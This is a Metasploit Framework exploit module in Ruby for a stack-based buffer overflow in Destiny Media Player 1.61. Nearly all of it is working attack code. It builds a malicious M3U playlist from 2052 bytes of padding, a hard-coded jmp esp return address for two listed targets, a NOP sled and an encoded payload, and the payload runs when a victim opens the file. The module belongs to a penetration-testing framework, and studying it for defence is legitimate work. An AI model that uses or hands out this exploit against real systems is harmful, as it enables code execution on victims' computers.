##
# $Id$
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote

  include Msf::Exploit::FILEFORMAT

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Destiny Media Player 1.61 PLS M3U Buffer Overflow',
      'Description'    => %q{
          This module exploits a stack-based buffer overflow in the Destiny Media Player 1.61.
          An attacker must send the file to victim and the victim must open the file. File-->Open Playlist  
      },
      'License'        => MSF_LICENSE,
      'Author'         => [ 'Trancek <trancek[at]yashira.org>' ],
      'Version'        => '$Revision$',
      'References'     =>
        [
          [ 'OSVDB', '53249' ],
          [ 'URL', 'http://www.milw0rm.com/exploits/7651' ],
          [ 'BID', '33091' ],
        ],
      'Payload'        =>
        {
          'Space'    => 800,
          'BadChars' => "\x00\x0a\x0d\x3c\x22\x3e\x3d",
          'EncoderType'   => Msf::Encoder::Type::AlphanumMixed, 
          'StackAdjustment' => -3500,
        },
      'Platform' => 'win',
      'Targets'        => 
        [
          # Tested ok patrickw 20090503
          [ 'Destiny Universal', { 'Ret' => 0x00bf9d4d } ], #jmp esp Destiny.exe
          [ 'Windows XP SP2 Spanish', { 'Ret' => 0x7c951eed } ], #jmp esp
        ],
      'Privileged'     => false,
      'DisclosureDate' => 'Jan 03 2009',
      'DefaultTarget'  => 0))

      register_options(
        [
          OptString.new('FILENAME', [ true, 'The file name.',  'exploit_destiny.m3u']),
        ], self.class)

  end

  def exploit

    filepls = rand_text_alpha_upper(2052)
    filepls << [target.ret].pack('V')
    filepls << make_nops(10)
    filepls << payload.encoded
    print_status("Creating '#{datastore['FILENAME']}' file ...") 

    file_create(filepls)

  end

end